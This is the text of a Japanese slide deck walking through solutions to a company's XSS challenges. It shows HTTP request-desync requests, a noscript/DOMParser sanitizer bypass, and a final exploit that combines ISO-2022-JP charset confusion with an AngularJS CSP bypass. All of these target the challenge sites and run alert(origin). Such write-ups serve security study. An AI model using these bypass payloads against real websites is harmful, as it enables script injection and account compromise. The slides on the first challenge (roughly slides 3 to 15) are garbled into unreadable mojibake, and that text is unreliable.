Slide 1

Slide 1 text

by @hamayanhamayan by @ryotkak by @masatokinugawa XSS Challenge 解答・解説資料 2024/12/05 Flatt Security Beer Bash #1

Slide 2

Slide 2 text

本資料について t 2024年11月に公開したFlatt Security XSS Challenge(https:// challenge-xss.quiz.flatt.training/)の各作問者による解答・解説資料で すQ t ※出題ページは予告なく非公開になる可能性がありま9 t XSS Challenge解説も含むイベントとして2024年12月5日に開催 された「Flatt Security Beer Bash #1」で使用されたスライド をまとめたものです。

Slide 3

Slide 3 text

944$IBMMFOHF IBNBZBOIBNBZBO !IBNBZBOIBNBZBO

Slide 4

Slide 4 text

ͲͷΑ͏ͳ໰୊͔ͩͬͨ ೖྗͨ͠)5.-͕ දࣔ͞Ε·͢

Slide 5

Slide 5 text

ΰʔϧɿBMFSU PSJHJO Λ࣮ߦ 944 $SPTT4JUF4DSJQUJOH ͕੒ޭ͍ͯ͠Δ͜ͱΛࣔͨ͢ΊʹBMFSU PSJHJO Λಈ͔͠·͢ɻ ͳͷͰɺTDSJQUBMFSU PSJHJO TDSJQUΛಈ͔ͨ͘͠ͳΓ·͢ɻ

Slide 6

Slide 6 text

ࢼͯ͠ΈΑ͏ 5IFBOTXFSJTTDSJQUBMFSU PSJHJO TDSJQU ΛೖΕͯΈΔɻ Ξϥʔτ͕ग़ͳ͍ʜ

Slide 7

Slide 7 text

ιʔείʔυΛݟͯΈΔ JOEFYKT ड͚औͬͨೖྗΛ%0.1VSJGZΛ࢖ͬͯαχλΠζ͔ͯ͠ΒຒΊࠐΜͰ͍Δɻ JOEFYFKT ςϯϓϨʔτΤϯδϯFKTΛ࢖ͬͯຒΊࠐΈɻ)5.-λάΛೖΕ͍ͨͷͰ 
 ʜͰຒΊࠐΈɻ

Slide 8

Slide 8 text

αχλΠζɿ%0.1VSJGZ %0.1VSJGZ %0.QVSJGZJTB%0.POMZ TVQFSGBTU 
 VCFSUPMFSBOU944TBOJUJ[FSGPS)5.- 
 .BUI.-BOE47( 944αχλΠβʔɻαχλΠζແ֐Խɻ ةݥͳೖྗΛ҆શͳܗʹม׵͢Δɻ

Slide 9

Slide 9 text

ࠓճͷ໰୊఺͸ʜ ͜͜Ͱ͢ʂUFYUBSFBλά΁ͷຒΊࠐΈͰ͢ʂ

Slide 10

Slide 10 text

UFYUBSFBλά ෳ਺ߦͷϓϨʔϯςΩετฤू͕Ͱ͖ΔೖྗϘοΫεΛ༻ҙ͠·͢ɻ ॏཁͳಛ௃͕͋ΓɺUFYUBSFB಺෦Ͱ͋Ε͹λάΛೖΕͯ΋ͦͷ··දࣔ͞Ε·͢ɻ ͭ·ΓɺUFYUBSFB͕དྷΔ·Ͱ͸೚ҙͷλά͕ೝࣝ͞Εͳ͍ͱ͍͏͜ͱͰ͢ɻ )5.-λάΛ্ख͘ॲཧ͢Δ%0.1VSJGZͱλάΛೝࣝ͠ͳ͍UFYUBSFBλάɺ 
 Կ͔͕ىͤͦ͜͏Ͱ͢ɻ

Slide 11

Slide 11 text

ղ๏ EJWJElUFYUBSFBTDSJQUBMFSU PSJHJO TDSJQUzEJW

Slide 12

Slide 12 text

ղ๏%0.1VSJGZͰͷݟ͑ํ EJWJElUFYUBSFBTDSJQUBMFSU PSJHJO TDSJQUzEJW λάΈ͍ͨͳJE໊Λ࣋ͭEJWλάͱͯ͠ղऍ͞ΕΔ %0.1VSJGZͰ͸EJWλάʹ୯ʹJEଐੑ͕ 
 ͍͍ͭͯΔ͚ͩͰɺ୯ମͰ͸944ʹܨ͕Β ͳ͍ͱ൑அͯͦ͠ͷ··௨͢

Slide 13

Slide 13 text

ղ๏UFYUBSFBʹຒΊࠐΜͩޙͷݟ͑ํ EJWJElUFYUBSFBTDSJQUBMFSU PSJHJO TDSJQUzEJW *EଐੑͷதͷUFYUBSFBͰͻͱ·ͱ·Γ UFYUBSFBOBNFlNFTTBHFz UFYUBSFB ͦͷޙͷTDSJQU෦෼͕)5.-λάͱͯ͠ղऍ͞ΕΔ

Slide 14

Slide 14 text

ͪͳΈʹ TBOJUJ[FE UFYUBSFBλά͸จࣈࢀর΋ड͚ೖΕΔͷͰɺͪΌΜͱΤεέʔϓͨ͠ঢ়ଶͰೖΕͯ͋͛Ε͹ 
 ҆શͰ͢ɻ

Slide 15

Slide 15 text

○ ಉ༷ͷςΫχοΫ͕UJUMFλάͰ࢖͑ͨ͜ͱ͸*OUJHSJUJ0DUPCFS944 $IBMMFOHFͰग़୊͞Ε͍ͯͯ஌͍ͬͯͨIUUQTNJ[VSFQPTUJOUJHSJUJPDUPCFS YTTDIBMMFOHF ○ ݪཧΛΑ͘ཧղ͠ͳ͍··਺ϲ݄์ஔʜ ○ 'MBUU4FDVSJUZͰϒϩάΛࣥචͨ͠ͱ͖ʹ 
 +BWB4DSJQUͰͷTDSJQUจࣈྻʹؔ͢Δ 
 ஫ҙ఺Λॻͨ͘Ίɺ)5.-ͷ࢓༷Λݟ͍ͯΔͱ 
 ۮવʮ&TDBQBCMFSBXUFYUFMFNFOUTʯΛൃݟ ○ UJUMFλάͰUJUMF͕ग़Δ·Ͱதͷλά͕ೝࣝ͞Εͳ͍ͷ͸͜ͷछผͷ࢓༷ͩͬͨ ○ ࢓༷ΛಡΉͱɺଞʹ΋UFYUBSFBλά͕&TDBQBCMFSBXUFYUFMFNFOUTʹଐ͍ͯ͠Δʂ ○ ࠓճͷ໰୊ ͕࣌ؒ͋Ε͹ɿ࡞໰ܦҢ

Slide 16

Slide 16 text

Slide 17

Slide 17 text

Flatt Security XSSチャレンジ Challenge #2

Slide 18

Slide 18 text

Flatt Security XSSチャレンジ #2 function previewContent() { const input = document.getElementById('input').value; document.getElementById('preview').innerHTML = sanitizeHtml(input); // just in case } window.onload = async function () { const params = new URLSearchParams(window.location.search); if (params.has('draft_id')) { const resp = await fetch(`/api/drafts?id=${encodeURIComponent(params.get('draft_id'))}`); const content = await resp.text(); document.getElementById('input').value = content.slice(0, 100); previewContent(); } }

Slide 19

Slide 19 text

Flatt Security XSSチャレンジ #2 (セリフ) まず、当該チャレンジのソースコードの内、どこでXSSができそうかを考えます。 フロントエンドのソースコードを見てみると、このようにサーバー側から送り返された下書 きデータを、サニタイズ後にinnerHTMLに挿入しています。 ここだけを見ると、サニタイザをバイパスできればXSSができそうです。

Slide 20

Slide 20 text

Flatt Security XSSチャレンジ #2 draft_id = query.get('id', [''])[0] if draft_id in drafts: escaped = html.escape(drafts[draft_id]) self .send_response(200) self .send_data(self.content_type_text, bytes(escaped, 'utf-8'))

Slide 21

Slide 21 text

Flatt Security XSSチャレンジ #2 (セリフ) しかしながら、サーバー側のソースコードを見ると、html.escape関数によりレスポンスが エスケープされています。これは、小なり記号と大なり記号を含むいくつかの特殊文字を エスケープしているため、一切のタグを挿入することが不可能となっています。この状態 ではXSSどころか、文字に対してスタイルを当てることすらできません。

Slide 22

Slide 22 text

def do_POST(self): content_length = int(self.headers.get('Content-Length' )) if content_length > 100: self.send_response(413) self.send_data(self.content_type_text, b'Post is too large') return body = self.rfile.read(content_length) draft_id = str(uuid4()) drafts[draft_id] = body.decode( 'utf-8') self.send_response(200) self.send_data(self.content_type_text, bytes(draft_id, 'utf-8')) 問題点1

Slide 23

Slide 23 text

問題点1 (セリフ) この状態を打開するために、他の箇所を確認します。ここでは、クライアント側から送ら れてきたPOSTリクエストを処理するコードが書かれています。

Slide 24

Slide 24 text

def do_POST(self): content_length = int(self.headers.get('Content-Length' )) if content_length > 100: self.send_response(413) self.send_data(self.content_type_text, b'Post is too large') return body = self.rfile.read(content_length) draft_id = str(uuid4()) drafts[draft_id] = body.decode( 'utf-8') self.send_response(200) self.send_data(self.content_type_text, bytes(draft_id, 'utf-8')) 問題点1

Slide 25

Slide 25 text

問題点1 (セリフ) ここで問題になってくるのが、赤枠で囲った部分です。このコードでは、Content-Length が100より大きければ、リクエストボディを読み取らずにレスポンスを返しています。 これ単体では問題がないのですが、このサーバー内の他の箇所に着目すると問題が見 えてきます。

Slide 26

Slide 26 text

問題点1 class RequestHandler(BaseHTTPRequestHandler): protocol_version = 'HTTP/1.1'

Slide 27

Slide 27 text

問題点1 (セリフ) まず初めに着目いただきたいのが、こちらの点です。 Pythonのhttp.serverモジュールにおいては、デフォルトでHTTP/1.0が仕様されるので すが、ここで意図的にHTTP/1.1に上書きされています。

Slide 28

Slide 28 text

問題点1 def send_data(self, content_type, body): self.send_header('Content-Type', content_type) self.send_header('Connection', 'keep-alive') self.send_header('Content-Length', len(body)) self.end_headers() self.wfile.write(body)

Slide 29

Slide 29 text

次に着目いただきたいのが、こちらの点です。ここでは、レスポンスを返す際に Connection: keep-aliveヘッダを付与しています。 これにより、一つのリクエストが終了した後もコネクションが閉じられないようになります。 問題点1 (セリフ)

Slide 30

Slide 30 text

def do_POST(self): content_length = int(self.headers.get('Content-Length' )) if content_length > 100: self.send_response(413) self.send_data(self.content_type_text, b'Post is too large') return body = self.rfile.read(content_length) draft_id = str(uuid4()) drafts[draft_id] = body.decode( 'utf-8') self.send_response(200) self.send_data(self.content_type_text, bytes(draft_id, 'utf-8')) 問題点1

Slide 31

Slide 31 text

問題点1 (セリフ) さて、先程の例に戻りましょう。 こちらのコードでは、Content-Lengthが100より大きければコネクション内からリクエスト ボディを読みとらないような実装となっています。 実は、Pythonのhttp.serverは、コネクション内からリクエストボディを読み取らないと、そ のボディがコネクション内から破棄されない仕様となっています。

Slide 32

Slide 32 text

POST / HTTP/1.1 Host: challenge.example Content-Length: 101 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA 問題点1

Slide 33

Slide 33 text

問題点1 (セリフ) つまり、このようなリクエストを送った場合、101文字のAがコネクション内に残るような構 図となります。 当該のコネクションを使用するリクエストがこのリクエストだけならば問題ないのですが...

Slide 34

Slide 34 text

POST / HTTP/1.1 Host: challenge.example Content-Length: 101 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAGET / HTTP/1.1 Host: challenge.example 問題点1 サーバーが読み取ったライン

Slide 35

Slide 35 text

問題点1 (セリフ) 先ほど述べたように、チャレンジ内ではHTTP/1.1とConnection: keep-aliveヘッダによ るコネクションの再使用が発生します。 そのため、一度目のリクエストでは赤線の箇所までしか処理されず、このように後続のリ クエストに影響を及ぼすことになります。 さて、これをどのように利用すればサーバーサイドで行われているエスケープを回避で きるでしょうか?

Slide 36

Slide 36 text

問題点1 else: self.send_response(404) self.send_data(self.content_type_text, bytes('Path %s not found' % self.path, 'utf-8'))

Slide 37

Slide 37 text

問題点1 (セリフ) まず、Python側のコードのうち、こちらの箇所に注目します。こちらのコードでは、リクエ ストされたルートが存在しなかった場合に、リクエストされたパスとともにエラーメッセー ジを返すコードとなっています。 一見、このコードからXSSできそうに見えますが、よくよく見るとContent-Type: text/plainが返されているため、このエンドポイントではXSSできません。

Slide 38

Slide 38 text

問題点1 (セリフ) また、仮にtext/htmlが返されていた場合でも、ブラウザはリクエストで送信するパスを自 動的にURLエンコードするため、HTMLを挿入するために必要な小なり記号や大なり記 号がエンコードされて返されてしまいます。 しかしながら、このエンドポイントを先程の挙動とうまく組み合わせて使うことで、XSSを 行うことが可能となります。

Slide 39

Slide 39 text

問題点1 function previewContent() { const input = document.getElementById('input').value; document.getElementById('preview').innerHTML = sanitizeHtml(input); // just in case } window.onload = async function () { const params = new URLSearchParams(window.location.search); if (params.has('draft_id')) { const resp = await fetch(`/api/drafts?id=${encodeURIComponent(params.get('draft_id'))}`); const content = await resp.text(); document.getElementById('input').value = content.slice(0, 100); previewContent(); } }

Slide 40

Slide 40 text

問題点1 (セリフ) さて、一番初めに紹介した、フロントエンド側のソースコードに戻りましょう。 こちらのコードでは、/api/drafts?id=...というエンドポイントに対してGETリクエストを飛ば したうえで、そのレスポンスをHTMLとして解釈しています。

Slide 41

Slide 41 text

POST / HTTP/1.1 Host: challenge.example Content-Length: 120 GET /= HTTP/1.1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAA 問題点1 リクエストボディ

Slide 42

Slide 42 text

問題点1 (セリフ) つまり、あらかじめこういったリクエストを送信しておき、コネクション内にデータを詰まら せたうえで...

Slide 43

Slide 43 text

POST / HTTP/1.1 Host: challenge.example Content-Length: 120 GET /= HTTP/1.1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAGET /api/drafts?id=... HTTP/1.1 Host: challenge.example 問題点1

Slide 44

Slide 44 text

問題点1 (セリフ) ドラフト取得のエンドポイントが実行されるようにブラウザを遷移させることで、本来想定 されている/api/drafts?id=...というエンドポイントではなく、/=というパスへリクエスト を送信させることが可能です。 ブラウザ側は/=へのリクエストをリクエストボディとして送信しているため、先程述べ たブラウザによるパスエンコードの影響を受けず、小なり記号や大なり記号を含むリクエ ストを送信させることができます。 結果として、ドラフトとしてタグを含む文字列が返されることとなります。

Slide 45

Slide 45 text

function previewContent() { const input = document.getElementById('input').value; document.getElementById('preview').innerHTML = sanitizeHtml(input); // just in case } 問題点2

Slide 46

Slide 46 text

問題点2 (セリフ) これにより、下書きデータとして任意のHTMLをフロントエンドに送ることが可能となりま した。 しかしながら、フロントエンド側には依然としてサニタイザが存在します。そのため、この サニタイザをどうにかして回避する必要が出てきます。

Slide 47

Slide 47 text

問題点2 const doc = new DOMParser().parseFromString(html, "text/html"); const nodeIterator = doc.createNodeIterator(doc, NodeFilter.SHOW_ELEMENT); while (nodeIterator.nextNode()) { const currentNode = nodeIterator.referenceNode; … if (SANITIZER_CONFIG.DANGEROUS_TAGS.includes(currentNode.nodeName.toLowerCase())) { currentNode. remove(); } else if (!SANITIZER_CONFIG.ALLOW_ATTRIBUTES && currentNode.attributes) { for (const attribute of currentNode.attributes) { currentNode.removeAttribute(attribute.name); } } }

Slide 48

Slide 48 text

問題点2 (セリフ) さて、サニタイザのコードを確認します。 ここでは、属性をすべて削除したうえで、許可されていないタグをすべて削除するという 実装になっています。

Slide 49

Slide 49 text

問題点2 DANGEROUS_TAGS: [ 'script', 'iframe', 'style', 'object', 'embed', 'meta', 'link', 'base', 'frame', 'frameset', 'svg', 'math', 'template', ],

Slide 50

Slide 50 text

問題点2 (セリフ) 許可されていないタグの一覧を見ると、このようなリストとなっています。 属性値が全て削除されていることを考えると、これらのタグが禁止された状態でXSSを するのはかなり厳しいように思えます。

Slide 51

Slide 51 text

問題点2 const doc = new DOMParser().parseFromString(html, "text/html"); const nodeIterator = doc.createNodeIterator(doc, NodeFilter.SHOW_ELEMENT); while (nodeIterator.nextNode()) { const currentNode = nodeIterator.referenceNode; … if (SANITIZER_CONFIG.DANGEROUS_TAGS.includes(currentNode.nodeName.toLowerCase())) { currentNode. remove(); } else if (!SANITIZER_CONFIG.ALLOW_ATTRIBUTES && currentNode.attributes) { for (const attribute of currentNode.attributes) { currentNode.removeAttribute(attribute.name); } } }

Slide 52

Slide 52 text

問題点2 (セリフ) ここで先程のコードに戻り、赤線で囲った箇所に注目します。 ここでは、DOMParserを使用してHTMLをパースしています。ブラウザのAPIを用いて HTMLをパースしているため、問題は起きないように思えますが...

Slide 53

Slide 53 text

問題点2

Slide 54

Slide 54 text

問題点2 (セリフ) HTMLの仕様書を読むと、DOMParserにおいてtext/htmlをパースするときはブラウジン グコンテキストが存在しないため、scriptingが無効化されると書かれています。 scriptingが無効化されていると何が起きるのでしょうか。

Slide 55

Slide 55 text

問題点2

Slide 56

Slide 56 text

問題点2 (セリフ) 実は、noscriptタグはscriptingが有効化されている場合のみ、子要素を生のテキスト データとして扱うという仕様となっています。 実際にページが描画される際はscriptingが有効化されているのに対して、DOMParser においてはscriptingが無効化されているため、差異が発生することになります。

Slide 57

Slide 57 text

問題点2

Slide 58

Slide 58 text

問題点2 (セリフ) つまり、このようなHTMLがあったとき、DOMParserはこのようにパースを行い、 noscriptタグの中に単一のコメントがあると誤認しますが...

Slide 59

Slide 59 text

問題点2

Slide 60

Slide 60 text

問題点2 (セリフ) ブラウザはこのようにパースします。 コメントが生のテキストとして扱われるようになったことで、DOMParserではコメントの内 部に置かれていたnoscriptの閉じタグと、onerror属性を含むimgタグが通常のHTMLタ グとして解釈されることがわかります。 これにより、先程のサニタイザをバイパスして任意のHTMLを挿入することが可能とな り、XSSが成立します。

Slide 61

Slide 61 text

POST / HTTP/1.1 Host: challenge.example Content-Length: 172 GET /=

Slide 62

Slide 62 text

解法 (セリフ) この挙動と先ほどの挙動を組み合わせるため、ブラウザにこのようなリクエストを送信さ せておくことで、次回下書きの取得が実施された際に先程のサニタイザをバイパスする ペイロードを返し、alert(origin)を実行することが可能となります。

Slide 63

Slide 63 text

POST / HTTP/1.1 Host: challenge.example Content-Length: 172 GET /=

Slide 64

Slide 64 text

解法 (セリフ) 内部的には、サーバー側は赤線までを1つ目のリクエストとして解釈し、2つめの /api/draftsへのリクエストが送信された際にリクエストメソッドの前に別のリクエストライン を挿入されることにより、本来想定されていないレスポンスが返される、といった結果に なります。

Slide 65

Slide 65 text

おまけ const doc = new DOMParser().parseFromString(html, "text/html"); const nodeIterator = doc.createNodeIterator(doc, NodeFilter.SHOW_ELEMENT); while (nodeIterator.nextNode()) { const currentNode = nodeIterator.referenceNode; … if (SANITIZER_CONFIG.DANGEROUS_TAGS.includes(currentNode.nodeName.toLowerCase())) { currentNode. remove(); } else if (!SANITIZER_CONFIG.ALLOW_ATTRIBUTES && currentNode.attributes) { for (const attribute of currentNode.attributes) { currentNode.removeAttribute(attribute.name); } } }

Slide 66

Slide 66 text

おまけ (セリフ) ちなみに... このサニタイザ、実はHTMLの仕様を知らなくとも解けてしまう簡単な非想定 解が存在します。 気になる方はぜひ探してみてください!

Slide 67

Slide 67 text

おわり

Slide 68

Slide 68 text

Flatt Security XSS Challenge #3 解説 2024/12/05 Flatt Security Beer Bash #1 / Masato Kinugawa

Slide 69

Slide 69 text

どんな問題だったか • シンプルなHTMLビューア • HTMLの表示結果をパーマリンクでシェア可能 • 結果はリンクを開くと即座に表示 • フロントエンドで完結

Slide 70

Slide 70 text

No content

Slide 71

Slide 71 text

HTMLビューアの制限 • 一部の要素のみが許可 • 属性は全削除 test alert() test test test INPUT OUTPUT 詳しくみていきます

Slide 72

Slide 72 text

表示部分のJavaScript render関数がユーザー入力を受け取りプレビューを行う function render(html) { const sanitizedHtml = DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob); input.value = sanitizedHtml; window.open(blobURL, "iframe"); createPermalink(sanitizedHtml); }

Slide 73

Slide 73 text

renderの処理 1 まずDOMPurifyでサニタイズ function render(html) { const sanitizedHtml = DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob); input.value = sanitizedHtml; window.open(blobURL, "iframe"); createPermalink(sanitizedHtml); }

Slide 74

Slide 74 text

renderの処理 2 サニタイズされた文字列でHTML形式のBlobを作成 function render(html) { const sanitizedHtml = DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob); input.value = sanitizedHtml; window.open(blobURL, "iframe"); createPermalink(sanitizedHtml); }

Slide 75

Slide 75 text

renderの処理 3 作成されたBlob URLをiframeに表示 function render(html) { const sanitizedHtml = DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob); input.value = sanitizedHtml; window.open(blobURL, "iframe"); createPermalink(sanitizedHtml); }

Slide 76

Slide 76 text

DOMPurifyの構成 • 要素に関する指定は無し = デフォルト許可の要素が使用可能 • *_ATTR の設定で属性は全て不許可 const sanitizedHtml = DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); 構成は厳密でサニタイズそのものに問題はなさそう

Slide 77

Slide 77 text

Blob作成部分 どこか気になる点はありますか? const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob);

Slide 78

Slide 78 text

Blob作成部分 何かが足りない気がしませんか? const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob);

Slide 79

Slide 79 text

Blob作成部分 charset指定がない!! const blob = new Blob([sanitizedHtml], { "type": "text/html;charset=UTF-8" }); const blobURL = URL.createObjectURL(blob); charset指定がないとBlobのcharsetはどうなる?

Slide 80

Slide 80 text

charsetの判断方法(ざっくり) 1. BOM(Byte Order Mark)を見る(response bodyの先頭のバイト) 2. Content-Typeヘッダーを見る (Blobではtype部分が相当) 3. charset指定のタグを探す 4. 自身がiframeにあり親がSame Originなら親のcharsetを継承 5. ここまで判断できなければページに含まれるバイト値から推測 (※Safariは5で推測を行わず、設定の"デフォルトのエンコーディング"で表示) 5で想定外の文字コードを適用させられれば何かできそう?

Slide 81

Slide 81 text

チャレンジのBlobの場合 1. BOM(Byte Order Mark)を見る(response bodyの先頭のバイト) 2. Content-Typeヘッダーを見る (Blobではtype部分が相当) 3. charset指定のタグを探す 4. 自身がiframeにあり親がSame Originなら親のcharsetを継承 5. ここまで判断できなければページに含まれるバイト値から推測 ✘ ✘ ✘ ❶ Blob URLはiframeにある ❷ Blob URLは親から作成されたものでSame Originに相当 親はタグでUTF-8を指定してる。 よってUTF-8が継承される、うーん? ❶ ❷

Slide 82

Slide 82 text

iframeへのロード部分 name属性がついたに向けてwindow.open() window.open(blobURL, "iframe"); ここを合わせることでをロード先にしている ポイント:windowの名前はwindow.openでロード先に利用される

Slide 83

Slide 83 text

window.name • windowの名前はwindow.name プロパティからも設定可能 • この値はナビゲーション後も保持される window.name = "test";//windowの名前を設定 location = "https://site-B/";//site-Bに移動後window.nameにアクセスしてもまだ "test" ※この方法は現在はChromeでのみ動作

Slide 84

Slide 84 text

ここで生じる1つの疑問 じゃあ、"iframe" という名前をチャレンジの親windowにつけたら window.open(blobURL, "iframe") はどこをロード先にするの? window.name = "iframe"; location = "https://challenge-kinugawa.quiz.flatt.training/?html=AAA"; もともとの?それとも親?

Slide 85

Slide 85 text

答え 親だー!! Blobが topに出てきた!

Slide 86

Slide 86 text

Blobがtopにある時:charsetの判断 1. BOM(Byte Order Mark)を見る(response bodyの先頭のバイト) 2. Content-Typeヘッダーを見る (Blobではtype部分が相当) 3. charset指定のタグを探す 4. 自身がiframeにあり親がSame Originなら親のcharsetを継承 5. ここまで判断できなければページに含まれるバイト値から推測 文字コードの自動選択発動!! ✘ ✘ ✘ ✘

Slide 87

Slide 87 text

ISO-2022-JP • 古き良き日本の文字コード • 特定のバイト列が出現すると2バイトで1文字を構成するモードに • 例: [0x1B] $ B • [0x1B] ( B が出現すると通常モード(ASCII)に戻る A A A [0x1B] $ B % F % 9 % H ! z [0x1B] ( B B B B ※制御文字や空白は [0xXX]で表現 AAAテスト★BBB decode

Slide 88

Slide 88 text

ISO-2022-JP • 他では出現しない特徴的なバイト列のため自動検出が容易 • 文字コードがないページに [0x1B] $ B を発見 ISO-2022-JPで表示 • 誤認させるのも簡単 • 2バイトで1文字のモードに切り替わると、ASCIIモードに入るま でバイトが食いつぶされるためXSSの危険あり: [0x1B] $ B

"> 腫�蜆就 "> decode

Slide 89

Slide 89 text

• 既にASCIIモード中に [0x1B] ( B が出現すると無視されるバイ ト列として扱われる ISO-2022-JP <[0x1B](Bscript>alert(/XSS/)<[0x1B](B/script> alert(/XSS/) decode OK /XSS/ この辺りを使ってもう一度DOMPurifyのバイパスを考える

Slide 90

Slide 90 text

DOMPurifyバイパス再考 • 今回は属性が使えない • 食いつぶして属性の中身を露出させるシナリオは無理 [0x1B] $ B

"> [0x1B] $ B

sanitize どこかに<>を置ける場所があれば…

Slide 91

Slide 91 text

• DOMPurifyはデフォルトで許可 • 内側にHTMLタグっぽい文字列があるとstyleごと消される • mXSS対策 • < の後にアルファベットなどが続くケースを拒否 • ただしそれ以外のケースでは <> は残ったままになる a <style><a> <@> a <@> sanitize

Slide 92

Slide 92 text

+ ISO-2022-JP • 無視されるバイト列を < の間に挟み… • <style>の開始タグを破壊すれば…? [0x1B]$B<style>[0x1B](B<[0x1B](Bscript>alert(1)<[0x1B](B/script> sanitize [0x1B]$B[0x1B](B<[0x1B](Bscript>alert(1)<[0x1B](B/script> decode 首�跂 � alert(1) 任意のタグが書けた!!

Slide 93

Slide 93 text

最後の一歩:CSPバイパス • metaタグにCSPあり • cdnjs.cloudflare.comが許可 • 様々なJSライブラリがここに存在 • CSPバイパスに便利なAngularJSも存在 default-src 'none'; script-src 'sha256-EojffqsgrDqc3mLbzy899xGTZN4StqzlstcSYu24doI=' cdnjs.cloudflare.com; style-src 'unsafe-inline'; frame-src blob:

Slide 94

Slide 94 text

AngularJSによるCSPバイパス 以下でeval禁止のCSP制限下でもJavaScriptを実行可能 このタグの間に無視されるバイトを挟んでの中に置けばOK!

Slide 95

Slide 95 text

全体的な流れ 1. "iframe"という名前のwindowからナビゲーション 2. Blobをtopで開かせて文字コードの自動選択をトリガー 3. ISO-2022-JPを選択させ、DOMPurifyでサニタイズされた HTMLの構造を破壊 4. CDNからのCSPバイパス

Slide 96

Slide 96 text

最終的な解 window.name="iframe"; eater = "\x1B$B"; ascii = "\x1B(B"; xss = ` ${eater}<style>${ascii} <${ascii}script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js> <${ascii}/script> <${ascii}img src=x ng-app ng-on-error=win=$event.target.ownerDocument.defaultView;win.alert(win.origin)>`; location = `https://challenge-kinugawa.quiz.flatt.training/?html=${encodeURIComponent(xss)}`;

Slide 97

Slide 97 text

No content

Slide 98

Slide 98 text

クリアしたものだけが拝める 食べられた の残骸

Slide 99

Slide 99 text

おまけ1 • ChromeはかつてBlobのtypeでのcharset指定を無視していた • 中でタグ指定がなければ常に自動選択が起きる状態だった • CVE-2020-6562で修正、charset指定を尊重するように • https://issues.chromium.org/issues/40052417 • 今回のチャレンジはこの時の発見に少し手を加えたもの const blob = new Blob([sanitizedHtml], { "type": "text/html;charset=UTF-8" // ignored }); const blobURL = URL.createObjectURL(blob);

Slide 100

Slide 100 text

おまけ2 • 実はISO-2022-JPの自動選択のXSSリスクに2010年から対処し ていたブラウザが存在する • その名は…

Slide 101

Slide 101 text

おまけ2 • 実はISO-2022-JPの自動選択のXSSリスクに2010年から対処し ていたブラウザが存在する • その名は… Internet Explorer!!!!

Slide 102

Slide 102 text

MS10-090 https://support.microsoft.com/ja-jp/topic/-ms10-090-internet-explorer- %E7%94%A8%E3%81%AE%E7%B4%AF%E7%A9%8D%E7%9A%84%E3%81%AA%E3%82%BB%E3%82%AD% E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E6%9B%B4%E6%96%B0%E3%83%97%E3%83%AD%E3 %82%B0%E3%83%A9%E3%83%A0-39563fa5-addd-5e92-4a8b-959024a7b6ab 先進的?!

Slide 103

Slide 103 text

なぜ無効にされた? • ありえないバイト列で特殊文字が生成されていたから(だと思う) • 自動選択でXSSが刺さるリスクが高かった [0x1B] $ B [0x01] [0x03] [0x1B] ( B [0x1B] $ B [0x01] [0x07] [0x1B] ( B [0x1B] $ B [0x01] [0x08] [0x1B] ( B [0x1B] $ B [0x01] [0x1D] [0x1B] ( B [0x1B] $ B [0x01] [0x1F] [0x1B] ( B [0x1B] $ B [0x01] [0x3D] [0x1B] ( B q" q& q' q< q> q\ 結局、明示的にISO-2022-JPをcharsetに指定したときのデコードはこの動作のままでEOLを迎えた